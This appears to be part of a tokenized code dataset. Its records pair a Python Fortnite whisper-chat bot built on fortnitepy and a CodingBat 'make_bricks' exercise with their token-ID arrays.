1735, 13, 9651, 363, 1874, 295, 391, 1220, 297, 1874, 295, 2879, 29901, 13, 18884, 1874, 295, 391, 9012, 2830, 353, 1874, 295, 391, 1220, 29889, 5451, 877, 25710, 13, 462, 13, 18884, 396, 24505, 472, 1023, 1363, 591, 7150, 278, 1874, 295, 391, 297, 278, 11564, 1797, 322, 864, 304, 3013, 2322, 373, 2246, 13, 18884, 1121, 305, 9477, 2879, 29889, 7851, 29898, 29896, 29892, 376, 1451, 9477, 391, 376, 718, 1874, 295, 391, 9012, 2830, 29961, 29896, 29962, 718, 376, 448, 376, 718, 525, 15300, 7122, 29898, 305, 9477, 391, 9012, 2830, 29961, 29955, 29901, 12622, 29871, 13, 13, 4706, 736, 1121, 305, 9477, 2879, 13, 13, 1678, 822, 1065, 29898, 1311, 1125, 13, 4706, 1583, 29889, 305, 9477, 2879, 29918, 1761, 353, 1583, 29889, 9984, 1451, 9477, 2879, 1293, 580, 13, 308, 13, 4706, 822, 1510, 29918, 24561, 29918, 15119, 7295, 13, 9651, 565, 451, 1583, 29889, 305, 9477, 2879, 29918, 1761, 29901, 13, 18884, 1014, 28046, 29889, 2704, 29918, 4906, 22168, 978, 1649, 718, 525, 29901, 1670, 526, 694, 1874, 295, 2879, 304, 1051, 29889, 1495, 13, 18884, 736, 13, 9651, 1583, 29889, 7165, 29889, 4294, 29918, 24561, 29918, 15119, 29898, 1311, 29889, 305, 9477, 2879, 29918, 1761, 29892, 1583, 29889, 265, 29918, 15091, 29897, 13, 13, 4706, 1014, 28046, 29889, 842, 29918, 15619, 29898, 4294, 29918, 24561, 29918, 15119, 29892, 29871, 29896, 29900, 29897, 13, 13, 1678, 822, 373, 29918, 15091, 29898, 1311, 29892, 18691, 1125, 13, 4706, 565, 18691, 1275, 448, 29896, 29901, 13, 9651, 736, 13, 4706, 1874, 295, 391, 353, 1583, 29889, 305, 9477, 2879, 29918, 1761, 29961, 29886, 17840, 29962, 13, 4706, 1874, 295, 391, 27117, 353, 1874, 295, 391, 29889, 5451, 877, 25710, 13, 13, 4706, 1899, 353, 6629, 13, 4706, 396, 5399, 297, 278, 4629, 1874, 295, 391, 13, 4706, 565, 1874, 295, 391, 27117, 29961, 29900, 29962, 2804, 525, 4592, 2396, 13, 9651, 1899, 353, 1281, 4984, 6255, 877, 29886, 29946, 9752, 448, 29883, 525, 718, 1874, 295, 391, 27117, 29961, 29896, 5691, 1678, 13, 4706, 1683, 29901, 13, 9651, 1899, 353, 1281, 4984, 6255, 877, 29886, 29946, 9752, 1495, 13, 4706, 282, 353, 1014, 5014, 29889, 29925, 3150, 29898, 6519, 29892, 27591, 29922, 1491, 5014, 29889, 2227, 4162, 29892, 380, 20405, 29922, 1491, 5014, 29889, 2227, 4162, 29892, 274, 9970, 29922, 10945, 29918, 12083, 29892, 6473, 29922, 5574, 29897, 13, 4706, 1121, 29892, 4589, 353, 282, 29889, 27820, 403, 580, 13, 268, 13, 1678, 822, 373, 29918, 8216, 29918, 3167, 29898, 1311, 29892, 1881, 1125, 13, 4706, 1209, 13, 13, 1678, 822, 373, 29918, 8216, 29918, 20713, 29898, 1311, 1125, 13, 4706, 1209, 13, 13, 1990, 2431, 10118, 16228, 6255, 29898, 1491, 28046, 29918, 8582, 29889, 5907, 6255, 1125, 13, 1678, 822, 1065, 29898, 1311, 1125, 13, 4706, 3323, 2415, 4899, 29898, 1311, 29889, 7165, 467, 2962, 580, 13, 13, 13, 1990, 2431, 10118, 3403, 449, 6255, 29898, 1491, 28046, 29918, 8582, 29889, 5907, 6255, 1125, 13, 1678, 822, 1065, 29898, 1311, 1125, 13, 4706, 1018, 29901, 13, 9651, 1899, 353, 1281, 4984, 6255, 703, 29886, 29946, 731, 349, 29946, 25711, 24668, 543, 29897, 13, 9651, 282, 353, 1014, 5014, 29889, 29925, 3150, 29898, 6519, 29892, 3659, 262, 29922, 1491, 5014, 29889, 2227, 4162, 29892, 25393, 29922, 1491, 5014, 29889, 2227, 4162, 29892, 380, 20405, 29922, 1491, 5014, 29889, 2227, 4162, 29892, 274, 9970, 29922, 10945, 29918, 12083, 29892, 6473, 29922, 5574, 29897, 632, 13, 9651, 282, 29889, 27820, 403, 580, 13, 4706, 5174, 7865, 2392, 29901, 13, 9651, 1209, 13, 13, 1990, 2431, 10118, 11049, 6255, 29898, 1491, 28046, 29918, 8582, 29889, 5907, 6255, 1125, 13, 1678, 822, 1065, 29898, 1311, 1125, 13, 4706, 1583, 29889, 7165, 29889, 4294, 29918, 2080, 29918, 15119, 703, 10399, 2431, 10118, 25280, 613, 12633, 1583, 29889, 265, 29918, 15091, 29892, 6213, 29892, 6213, 29897, 13, 13, 1678, 822, 373, 29918, 15091, 29898, 1311, 29892, 4800, 1125, 13, 4706, 1018, 29901, 13, 9651, 1899, 353, 1281, 4984, 6255, 703, 29886, 29946, 1480, 449, 1159, 13, 9651, 282, 353, 1014, 5014, 29889, 29925, 3150, 29898, 6519, 29892, 3659, 262, 29922, 1491, 5014, 29889, 2227, 4162, 29892, 25393, 29922, 1491, 5014, 29889, 2227, 4162, 29892, 380, 20405, 29922, 1491, 5014, 29889, 2227, 4162, 29892, 274, 9970, 29922, 10945, 29918, 12083, 29892, 6473, 29922, 5574, 29897, 632, 13, 9651, 282, 29889, 27820, 403, 580, 13, 9651, 396, 348, 842, 722, 29871, 13, 9651, 1899, 353, 1281, 4984, 6255, 703, 29886, 29946, 731, 349, 29946, 25711, 24668, 543, 718, 4800, 29897, 13, 9651, 282, 353, 1014, 5014, 29889, 29925, 3150, 29898, 6519, 29892, 3659, 262, 29922, 1491, 5014, 29889, 2227, 4162, 29892, 25393, 29922, 1491, 5014, 29889, 2227, 4162, 29892, 380, 20405, 29922, 1491, 5014, 29889, 2227, 4162, 29892, 274, 9970, 29922, 10945, 29918, 12083, 29892, 6473, 29922, 5574, 29897, 632, 13, 9651, 282, 29889, 27820, 403, 580, 13, 4706, 5174, 7865, 2392, 29901, 13, 9651, 1209, 13, 13, 1990, 2431, 10118, 2525, 845, 13841, 6821, 6255, 29898, 1491, 28046, 29918, 8582, 29889, 5907, 6255, 1125, 13, 1678, 822, 1065, 29898, 1311, 1125, 13, 4706, 1018, 29901, 13, 9651, 1383, 13841, 6821, 6255, 29898, 1311, 29889, 7165, 29892, 7700, 467, 2962, 580, 13, 4706, 5174, 29901, 13, 9651, 399, 2753, 2659, 703, 14148, 4829, 29892, 947, 278, 5134, 349, 29946, 10079, 2304, 1383, 13841, 29973, 1159, 13, 9651, 736, 448, 29896, 13, 1990, 2431, 10118, 2713, 13841, 6821, 6255, 29898, 1491, 28046, 29918, 8582, 29889, 5907, 6255, 1125, 13, 1678, 822, 1065, 29898, 1311, 1125, 13, 4706, 1018, 29901, 13, 9651, 1383, 13841, 6821, 6255, 29898, 1311, 29889, 7165, 29892, 5852, 467, 2962, 580, 13, 4706, 5174, 29901, 13, 9651, 399, 2753, 2659, 703, 14148, 4829, 29892, 947, 278, 5134, 349, 29946, 10079, 2304, 1383, 13841, 29973, 1159, 13, 9651, 736, 448, 29896, 13, 13, 1990, 1383, 13841, 6821, 6255, 29898, 7097, 292, 29889, 4899, 1125, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 3474, 29892, 528, 13841, 29922, 5574, 1125, 13, 4706, 1583, 29889, 845, 13841, 353, 528, 13841, 13, 4706, 1583, 29889, 7165, 353, 3474, 13, 4706, 3244, 292, 29889, 4899, 17255, 2344, 12035, 1311, 29897, 13, 13, 1678, 822, 1065, 29898, 1311, 1125, 13, 4706, 1583, 29889, 305, 9477, 2879, 29918, 1761, 353, 1583, 29889, 9984, 1451, 9477, 2879, 1293, 580, 13, 4706, 822, 1510, 29918, 24561, 29918, 15119, 7295, 13, 9651, 565, 451, 1583, 29889, 305, 9477, 2879, 29918, 1761, 29901, 13, 18884, 1014, 28046, 29889, 2704, 29918, 4906, 22168, 978, 1649, 718, 525, 29901, 1670, 526, 694, 1874, 295, 2879, 304, 1051, 29889, 1495, 13, 18884, 736, 13, 9651, 1583, 29889, 7165, 29889, 4294, 29918, 24561, 29918, 15119, 29898, 1311, 29889, 305, 9477, 2879, 29918, 1761, 29892, 1583, 29889, 265, 29918, 15091, 29897, 13, 13, 4706, 1014, 28046, 29889, 842, 29918, 15619, 29898, 4294, 29918, 24561, 29918, 15119, 29892, 29871, 29896, 29900, 29897, 13, 13, 1678, 822, 373, 29918, 15091, 29898, 1311, 29892, 18691, 1125, 13, 4706, 565, 18691, 1275, 448, 29896, 29901, 13, 9651, 736, 13, 4706, 1874, 295, 391, 1761, 353, 1583, 29889, 305, 9477, 2879, 29918, 1761, 29961, 29886, 17840, 1822, 5451, 877, 25710, 13, 13, 13, 4706, 1874, 295, 391, 353, 525, 4592, 29915, 13, 4706, 565, 29898, 2435, 29898, 305, 9477, 391, 1761, 29897, 1405, 29871, 29896, 1125, 396, 9681, 287, 1874, 295, 391, 13, 9651, 1874, 295, 391, 353, 1874, 295, 391, 1761, 29961, 29896, 29962, 13, 4706, 1683, 29901, 13, 9651, 1874, 295, 391, 353, 1874, 295, 391, 1761, 29961, 29900, 29962, 13, 418, 13, 4706, 565, 1583, 29889, 845, 13841, 29901, 13, 9651, 9920, 1231, 353, 376, 845, 13841, 448, 29883, 29908, 718, 1874, 295, 391, 13, 4706, 1683, 29901, 13, 9651, 9920, 1231, 353, 376, 348, 845, 13841, 448, 29879, 29908, 718, 1874, 295, 391, 718, 376, 448, 29888, 29908, 13, 4706, 1899, 353, 1281, 4984, 6255, 703, 29886, 29946, 376, 718, 9920, 1231, 29897, 13, 4706, 282, 353, 1014, 5014, 29889, 29925, 3150, 29898, 6519, 29892, 27591, 29922, 1491, 5014, 29889, 2227, 4162, 29892, 380, 20405, 29922, 1491, 5014, 29889, 2227, 4162, 29892, 274, 9970, 29922, 10945, 29918, 12083, 29892, 6473, 29922, 5574, 29897, 13, 4706, 1121, 29892, 4589, 353, 282, 29889, 27820, 403, 580, 13, 13, 4706, 565, 29898, 3127, 1125, 13, 9651, 399, 2753, 2659, 703, 1792, 3127, 376, 718, 4589, 29889, 17010, 3101, 13, 9651, 736, 448, 29896, 29871, 13, 13, 1678, 822, 8561, 1451, 9477, 2879, 1293, 29898, 1311, 1125, 13, 4706, 2551, 29892, 10650, 305, 9477, 2879, 353, 3617, 29925, 2548, 1451, 9477, 2879, 890, 13, 13, 4706, 1121, 305, 9477, 2879, 353, 5159, 13, 13, 4706, 565, 29898, 8698, 1125, 13, 9651, 1874, 295, 2879, 353, 10650, 305, 9477, 2879, 29889, 5451, 9012, 580, 13, 13, 9651, 396, 363, 1269, 1196, 29892, 6597, 278, 1735, 13, 9651, 363, 1874, 295, 391, 1220, 297, 1874, 295, 2879, 29901, 13, 18884, 1874, 295, 391, 9012, 2830, 353, 1874, 295, 391, 1220, 29889, 5451, 877, 25710, 13, 462, 13, 18884, 1121, 305, 9477, 2879, 29889, 7851, 29898, 29900, 29892, 376, 1451, 9477, 391, 376, 718, 1874, 295, 391, 9012, 2830, 29961, 29896, 29962, 718, 376, 448, 376, 718, 525, 15300, 7122, 29898, 305, 9477, 391, 9012, 2830, 29961, 29955, 29901, 12622, 29871, 13, 13, 4706, 736, 1121, 305, 9477, 2879, 13, 2 ]
FNWhisperBot.py
v1001/FNWhisperBot
1
112060
<reponame>v1001/FNWhisperBot<filename>FNWhisperBot.py<gh_stars>1-10 import fortnitepy import datetime import os import asyncio import threading from fortnitepy.ext import commands import json def time() -> str: '''Return current system datetime as string.''' return datetime.datetime.now().strftime('%H:%M:%S') class KeyboardThread(threading.Thread): def __init__(self, input_cbk = None, name='keyboard-input-thread'): self.input_cbk = input_cbk super(KeyboardThread, self).__init__(name=name) self.paused = False # Explicitly using Lock over RLock since the use of self.paused # break reentrancy anyway, and I believe using Lock could allow # one thread to pause the worker, while another resumes; haven't # checked if Condition imposes additional limitations that would # prevent that. In Python 2, use of Lock instead of RLock also # boosts performance. self.pause_cond = threading.Condition(threading.Lock()) self.start() def run(self): while True: with self.pause_cond: while self.paused: self.pause_cond.wait() self.input_cbk(input('epic-id:message\\')) #waits to get input + Return def pause(self): self.paused = True # If in sleep, we acquire immediately, otherwise we wait for thread # to release condition. In race, worker will still see self.paused # and begin waiting until it's set back to False self.pause_cond.acquire() #should just resume the thread def resume(self): self.paused = False # Notify so thread will wake after lock released self.pause_cond.notify() # Now release the lock self.pause_cond.release() class WhisperClient(fortnitepy.Client): def __init__(self, data): self.data = data device_auth_details = self.get_device_auth_details().get(self.data["email"], {}) super().__init__( auth = fortnitepy.AdvancedAuth( email = self.data["email"], password = self.data["password"], prompt_authorization_code = True, delete_existing_device_auths = True, **device_auth_details ) ) def get_device_auth_details(self): if os.path.isfile(self.data["auth_filename"]): with open(self.data["auth_filename"], 'r') as fp: return json.load(fp) return {} def store_device_auth_details(self, details): existing = self.get_device_auth_details() existing[self.data["email"]] = details with open(self.data["auth_filename"], 'w') as fp: json.dump(existing, fp) async def event_device_auth_generate(self, details, email): self.store_device_auth_details(details) def get_friends_list(self): for f in self.friends: if(f.is_online): print(f'Friend name: {f.display_name}, Epic-ID: {f.id}') return([x.id for x in self.friends]) async def event_ready(self): #print ready status print('----------------') print('Client ready as') print(self.user.display_name) print(self.user.id) print('----------------') self.friendslist = self.get_friends_list() #starting loop task loop = asyncio.get_event_loop() loop.create_task(self.chat_task()) self.message_text = '' self.kbd_thread = KeyboardThread(self.get_input) async def event_friend_presence(self, before, after): pass async def event_party_invite(self, invite): print(f'\n{time()}: incoming invite from {invite.sender.display_name}, id {invite.sender.id}') if(not(self.data["invite_accept"])): await invite.sender.send('Sorry, currently I am not accepting invites.') await invite.decline() print(f'{time()}: declined party invite from {invite.sender.display_name}, id {invite.sender.id}. Invite_accept is set to false.') return else: await invite.accept() print(f'{time()}: accepted party invite from {invite.sender.display_name}, id {invite.sender.id}.') async def event_party_update(self, party): for member in party.members: if(not(member.id == self.user.id)): print(f'{time()}: {member.display_name} joined wearing outfit {member.outfit} and pickaxe {member.pickaxe}') async def chat_task(self): while True: try: if(len(self.message_text)>0): await self.send_message() if(self.kbd_thread.paused): self.kbd_thread.resume() except: print(f'{time()}: error in chat cyclic task') await asyncio.sleep(1) async def send_message(self): msg_items = self.message_text.split(':') self.message_text = '' if(len(msg_items)<2): print('please use the following format:"epic-id:message"') return if(msg_items[0] in self.friendslist): friend = [f for f in self.friends if f.id == msg_items[0]] await friend[0].send(msg_items[1]) def get_input(self, inp): self.message_text = inp self.kbd_thread.pause() async def event_friend_request(self, request): if self.data["friend_accept"]: await request.accept() print(time() + ' accepted friend request from {} ID {}'.format(request.display_name, request.id)) async def event_friend_message(self, message): self.kbd_thread.pause() print('\r' + time() + ': {0.author.display_name} ({0.author.id}): "{0.content}"'.format(message)) print('epic-id:message\\') self.kbd_thread.resume() def main(): with open('config.json') as f: data = json.load(f) data["email"] = input('please enter e-mail:') data["password"] = input('please enter password:') client = WhisperClient(data) client.run() main()
[ 1, 529, 276, 1112, 420, 29958, 29894, 29896, 29900, 29900, 29896, 29914, 29943, 29940, 8809, 275, 546, 29933, 327, 29966, 9507, 29958, 29943, 29940, 8809, 275, 546, 29933, 327, 29889, 2272, 29966, 12443, 29918, 303, 1503, 29958, 29896, 29899, 29896, 29900, 13, 5215, 5162, 29876, 568, 2272, 13, 5215, 12865, 13, 5215, 2897, 13, 5215, 408, 948, 3934, 13, 5215, 3244, 292, 13, 13, 3166, 5162, 29876, 568, 2272, 29889, 1062, 1053, 8260, 13, 13, 5215, 4390, 13, 13, 1753, 931, 580, 1599, 851, 29901, 13, 1678, 14550, 11609, 1857, 1788, 12865, 408, 1347, 29889, 12008, 13, 1678, 736, 12865, 29889, 12673, 29889, 3707, 2141, 710, 615, 603, 877, 29995, 29950, 16664, 29924, 16664, 29903, 1495, 13, 13, 13, 1990, 7670, 3377, 4899, 29898, 7097, 292, 29889, 4899, 1125, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 1881, 29918, 10702, 29895, 353, 6213, 29892, 1024, 2433, 1989, 3377, 29899, 2080, 29899, 7097, 29374, 13, 4706, 1583, 29889, 2080, 29918, 10702, 29895, 353, 1881, 29918, 10702, 29895, 13, 4706, 2428, 29898, 2558, 3377, 4899, 29892, 1583, 467, 1649, 2344, 12035, 978, 29922, 978, 29897, 13, 4706, 1583, 29889, 29886, 15244, 353, 7700, 13, 4706, 396, 12027, 4019, 368, 773, 18199, 975, 390, 16542, 1951, 278, 671, 310, 1583, 29889, 29886, 15244, 13, 4706, 396, 2867, 337, 296, 661, 1270, 8763, 29892, 322, 306, 4658, 773, 18199, 1033, 2758, 13, 4706, 396, 697, 3244, 304, 19957, 278, 15645, 29892, 1550, 1790, 620, 9351, 29936, 7359, 29915, 29873, 13, 4706, 396, 7120, 565, 11790, 654, 7275, 267, 5684, 27028, 393, 723, 29871, 13, 4706, 396, 5557, 393, 29889, 512, 5132, 29871, 29906, 29892, 671, 310, 18199, 2012, 310, 390, 16542, 884, 13, 4706, 396, 14505, 29879, 4180, 29889, 13, 4706, 1583, 29889, 29886, 1071, 29918, 1116, 353, 3244, 292, 29889, 25255, 29898, 7097, 292, 29889, 16542, 3101, 13, 4706, 1583, 29889, 2962, 580, 13, 13, 1678, 822, 1065, 29898, 1311, 1125, 13, 4706, 1550, 5852, 29901, 13, 9651, 411, 1583, 29889, 29886, 1071, 29918, 1116, 29901, 13, 18884, 1550, 1583, 29889, 29886, 15244, 29901, 13, 462, 1678, 1583, 29889, 29886, 1071, 29918, 1116, 29889, 10685, 580, 13, 9651, 1583, 29889, 2080, 29918, 10702, 29895, 29898, 2080, 877, 1022, 293, 29899, 333, 29901, 4906, 1966, 8785, 396, 2766, 1169, 304, 679, 1881, 718, 7106, 13, 13, 1678, 822, 19957, 29898, 1311, 1125, 13, 4706, 1583, 29889, 29886, 15244, 353, 5852, 13, 4706, 396, 960, 297, 8709, 29892, 591, 1274, 1548, 7389, 29892, 6467, 591, 4480, 363, 3244, 13, 4706, 396, 304, 6507, 4195, 29889, 512, 8175, 29892, 15645, 674, 1603, 1074, 1583, 29889, 29886, 15244, 13, 4706, 396, 322, 3380, 10534, 2745, 372, 29915, 29879, 731, 1250, 304, 7700, 13, 4706, 1583, 29889, 29886, 1071, 29918, 1116, 29889, 562, 1548, 580, 13, 13, 1678, 396, 9344, 925, 620, 2017, 278, 3244, 13, 1678, 822, 620, 2017, 29898, 1311, 1125, 13, 4706, 1583, 29889, 29886, 15244, 353, 7700, 13, 4706, 396, 2216, 1598, 577, 3244, 674, 281, 1296, 1156, 7714, 5492, 13, 4706, 1583, 29889, 29886, 1071, 29918, 1116, 29889, 25140, 580, 13, 4706, 396, 2567, 6507, 278, 7714, 13, 4706, 1583, 29889, 29886, 1071, 29918, 1116, 29889, 14096, 580, 13, 13, 13, 1990, 806, 275, 546, 4032, 29898, 3921, 29876, 568, 2272, 29889, 4032, 1125, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 848, 1125, 13, 4706, 1583, 29889, 1272, 353, 848, 13, 4706, 4742, 29918, 5150, 29918, 14144, 353, 1583, 29889, 657, 29918, 10141, 29918, 5150, 29918, 14144, 2141, 657, 29898, 1311, 29889, 1272, 3366, 5269, 12436, 426, 1800, 13, 4706, 2428, 2141, 1649, 2344, 12035, 13, 9651, 4817, 353, 5162, 29876, 568, 2272, 29889, 3253, 16858, 6444, 29898, 13, 18884, 4876, 353, 1583, 29889, 1272, 3366, 5269, 12436, 13, 18884, 4800, 353, 1583, 29889, 1272, 3366, 5630, 12436, 13, 18884, 9508, 29918, 8921, 2133, 29918, 401, 353, 5852, 29892, 13, 18884, 5217, 29918, 735, 15423, 29918, 10141, 29918, 5150, 29879, 353, 5852, 29892, 13, 18884, 3579, 10141, 29918, 5150, 29918, 14144, 13, 9651, 1723, 13, 4706, 1723, 29871, 13, 308, 13, 1678, 822, 679, 29918, 10141, 29918, 5150, 29918, 14144, 29898, 1311, 1125, 13, 4706, 565, 2897, 29889, 2084, 29889, 275, 1445, 29898, 1311, 29889, 1272, 3366, 5150, 29918, 9507, 3108, 1125, 13, 9651, 411, 1722, 29898, 1311, 29889, 1272, 3366, 5150, 29918, 9507, 12436, 525, 29878, 1495, 408, 285, 29886, 29901, 13, 18884, 736, 4390, 29889, 1359, 29898, 18091, 29897, 13, 4706, 736, 6571, 13, 13, 1678, 822, 3787, 29918, 10141, 29918, 5150, 29918, 14144, 29898, 1311, 29892, 4902, 1125, 13, 4706, 5923, 353, 1583, 29889, 657, 29918, 10141, 29918, 5150, 29918, 14144, 580, 13, 4706, 5923, 29961, 1311, 29889, 1272, 3366, 5269, 3108, 29962, 353, 4902, 13, 4706, 411, 1722, 29898, 1311, 29889, 1272, 3366, 5150, 29918, 9507, 12436, 525, 29893, 1495, 408, 285, 29886, 29901, 13, 9651, 4390, 29889, 15070, 29898, 735, 15423, 29892, 285, 29886, 29897, 13, 632, 13, 1678, 7465, 822, 1741, 29918, 10141, 29918, 5150, 29918, 17158, 29898, 1311, 29892, 4902, 29892, 4876, 1125, 13, 4706, 1583, 29889, 8899, 29918, 10141, 29918, 5150, 29918, 14144, 29898, 14144, 29897, 13, 308, 13, 1678, 822, 679, 29918, 7932, 1975, 29918, 1761, 29898, 1311, 1125, 13, 4706, 363, 285, 297, 1583, 29889, 7932, 1975, 29901, 13, 9651, 565, 29898, 29888, 29889, 275, 29918, 14627, 1125, 13, 18884, 1596, 29898, 29888, 29915, 27034, 355, 1024, 29901, 426, 29888, 29889, 4990, 29918, 978, 1118, 14055, 293, 29899, 1367, 29901, 426, 29888, 29889, 333, 29913, 1495, 13, 4706, 736, 4197, 29916, 29889, 333, 363, 921, 297, 1583, 29889, 7932, 1975, 2314, 13, 13, 1678, 7465, 822, 1741, 29918, 2040, 29898, 1311, 1125, 13, 4706, 396, 2158, 7960, 4660, 13, 4706, 1596, 877, 2683, 1495, 13, 4706, 1596, 877, 4032, 7960, 408, 1495, 13, 4706, 1596, 29898, 1311, 29889, 1792, 29889, 4990, 29918, 978, 29897, 13, 4706, 1596, 29898, 1311, 29889, 1792, 29889, 333, 29897, 13, 4706, 1596, 877, 2683, 1495, 13, 4706, 1583, 29889, 7932, 1975, 1761, 353, 1583, 29889, 657, 29918, 7932, 1975, 29918, 1761, 580, 13, 4706, 396, 2962, 292, 2425, 3414, 13, 4706, 2425, 353, 408, 948, 3934, 29889, 657, 29918, 3696, 29918, 7888, 580, 13, 4706, 2425, 29889, 3258, 29918, 7662, 29898, 1311, 29889, 13496, 29918, 7662, 3101, 13, 4706, 1583, 29889, 4906, 29918, 726, 353, 6629, 13, 4706, 1583, 29889, 8810, 29918, 7097, 353, 7670, 3377, 4899, 29898, 1311, 29889, 657, 29918, 2080, 29897, 13, 13, 1678, 7465, 822, 1741, 29918, 18326, 29918, 4569, 663, 29898, 1311, 29892, 1434, 29892, 1156, 1125, 13, 4706, 1209, 13, 13, 1678, 7465, 822, 1741, 29918, 22633, 29918, 11569, 568, 29898, 1311, 29892, 2437, 568, 1125, 13, 4706, 1596, 29898, 29888, 12764, 29876, 29912, 2230, 580, 6177, 23235, 2437, 568, 515, 426, 11569, 568, 29889, 15452, 29889, 4990, 29918, 978, 1118, 1178, 426, 11569, 568, 29889, 15452, 29889, 333, 29913, 1495, 13, 4706, 565, 29898, 1333, 29898, 1311, 29889, 1272, 3366, 11569, 568, 29918, 16044, 3108, 22164, 13, 9651, 7272, 2437, 568, 29889, 15452, 29889, 6717, 877, 29903, 3818, 29892, 5279, 306, 626, 451, 25967, 2437, 3246, 29889, 1495, 13, 9651, 7272, 2437, 568, 29889, 27787, 457, 580, 13, 9651, 1596, 29898, 29888, 29915, 29912, 2230, 580, 6177, 4845, 1312, 6263, 2437, 568, 515, 426, 11569, 568, 29889, 15452, 29889, 4990, 29918, 978, 1118, 1178, 426, 11569, 568, 29889, 15452, 29889, 333, 1836, 15518, 568, 29918, 16044, 338, 731, 304, 2089, 29889, 1495, 13, 9651, 736, 13, 4706, 1683, 29901, 13, 9651, 7272, 2437, 568, 29889, 16044, 580, 13, 9651, 1596, 29898, 29888, 29915, 29912, 2230, 580, 6177, 9259, 6263, 2437, 568, 515, 426, 11569, 568, 29889, 15452, 29889, 4990, 29918, 978, 1118, 1178, 426, 11569, 568, 29889, 15452, 29889, 333, 1836, 1495, 13, 268, 13, 1678, 7465, 822, 1741, 29918, 22633, 29918, 5504, 29898, 1311, 29892, 6263, 1125, 13, 4706, 363, 4509, 297, 6263, 29889, 28109, 29901, 13, 9651, 565, 29898, 1333, 29898, 14242, 29889, 333, 1275, 1583, 29889, 1792, 29889, 333, 22164, 13, 18884, 1596, 29898, 29888, 29915, 29912, 2230, 580, 6177, 426, 14242, 29889, 4990, 29918, 978, 29913, 8772, 591, 4362, 714, 9202, 426, 14242, 29889, 449, 9202, 29913, 322, 5839, 1165, 29872, 426, 14242, 29889, 23945, 1165, 29872, 29913, 1495, 13, 13, 1678, 7465, 822, 13563, 29918, 7662, 29898, 1311, 1125, 13, 4706, 1550, 5852, 29901, 13, 9651, 1018, 29901, 13, 18884, 565, 29898, 2435, 29898, 1311, 29889, 4906, 29918, 726, 15410, 29900, 1125, 13, 462, 1678, 7272, 1583, 29889, 6717, 29918, 4906, 580, 13, 18884, 565, 29898, 1311, 29889, 8810, 29918, 7097, 29889, 29886, 15244, 1125, 13, 462, 1678, 1583, 29889, 8810, 29918, 7097, 29889, 690, 2017, 580, 13, 9651, 5174, 29901, 13, 18884, 1596, 29898, 29888, 29915, 29912, 2230, 580, 6177, 1059, 297, 13563, 5094, 28746, 3414, 1495, 13, 9651, 7272, 408, 948, 3934, 29889, 17059, 29898, 29896, 29897, 13, 13, 1678, 7465, 822, 3638, 29918, 4906, 29898, 1311, 1125, 13, 4706, 10191, 29918, 7076, 353, 1583, 29889, 4906, 29918, 726, 29889, 5451, 877, 29901, 1495, 13, 4706, 1583, 29889, 4906, 29918, 726, 353, 6629, 13, 4706, 565, 29898, 2435, 29898, 7645, 29918, 7076, 29897, 29966, 29906, 1125, 13, 9651, 1596, 877, 552, 559, 671, 278, 1494, 3402, 6160, 1022, 293, 29899, 333, 29901, 4906, 29908, 1495, 13, 9651, 736, 13, 4706, 565, 29898, 7645, 29918, 7076, 29961, 29900, 29962, 297, 1583, 29889, 7932, 1975, 1761, 1125, 13, 9651, 5121, 353, 518, 29888, 363, 285, 297, 1583, 29889, 7932, 1975, 565, 285, 29889, 333, 1275, 10191, 29918, 7076, 29961, 29900, 5262, 13, 4706, 7272, 5121, 29961, 29900, 1822, 6717, 29898, 7645, 29918, 7076, 29961, 29896, 2314, 13, 13, 1678, 822, 679, 29918, 2080, 29898, 1311, 29892, 297, 29886, 1125, 13, 4706, 1583, 29889, 4906, 29918, 726, 353, 297, 29886, 13, 4706, 1583, 29889, 8810, 29918, 7097, 29889, 29886, 1071, 580, 13, 13, 1678, 7465, 822, 1741, 29918, 18326, 29918, 3827, 29898, 1311, 29892, 2009, 1125, 13, 4706, 565, 1583, 29889, 1272, 3366, 18326, 29918, 16044, 3108, 29901, 13, 9651, 7272, 2009, 29889, 16044, 580, 13, 9651, 1596, 29898, 2230, 580, 718, 525, 9259, 5121, 2009, 515, 6571, 3553, 6571, 4286, 4830, 29898, 3827, 29889, 4990, 29918, 978, 29892, 2009, 29889, 333, 876, 13, 13, 1678, 7465, 822, 1741, 29918, 18326, 29918, 4906, 29898, 1311, 29892, 2643, 1125, 13, 4706, 1583, 29889, 8810, 29918, 7097, 29889, 29886, 1071, 580, 13, 4706, 1596, 28909, 29878, 29915, 718, 931, 580, 718, 525, 29901, 426, 29900, 29889, 8921, 29889, 4990, 29918, 978, 29913, 21313, 29900, 29889, 8921, 29889, 333, 29913, 1125, 29850, 29900, 29889, 3051, 5038, 4286, 4830, 29898, 4906, 876, 13, 4706, 1596, 877, 1022, 293, 29899, 333, 29901, 4906, 1966, 1495, 13, 4706, 1583, 29889, 8810, 29918, 7097, 29889, 690, 2017, 580, 13, 13, 1753, 1667, 7295, 13, 1678, 411, 1722, 877, 2917, 29889, 3126, 1495, 408, 285, 29901, 13, 4706, 848, 353, 4390, 29889, 1359, 29898, 29888, 29897, 13, 1678, 848, 3366, 5269, 3108, 353, 1881, 877, 552, 559, 3896, 321, 29899, 2549, 29901, 1495, 13, 1678, 848, 3366, 5630, 3108, 353, 1881, 877, 552, 559, 3896, 4800, 29901, 1495, 13, 1678, 3132, 353, 806, 275, 546, 4032, 29898, 1272, 29897, 13, 1678, 3132, 29889, 3389, 580, 13, 13, 3396, 580, 2 ]
python/coding_bat/make_bricks/README.py
lmregus/Portfolio
0
1613816
# Make Bricks We want to make a row of bricks that is goal inches long. We have a number of small bricks (1 inch each) and big bricks (5 inches each). Return True if it is possible to make the goal by choosing from the import given bricks. This is a little harder than it looks and can be done without any loops. See also: Introduction to MakeBricks * make_bricks(3, 1, 8) → True * make_bricks(3, 1, 9) → False * make_bricks(3, 2, 10) → True
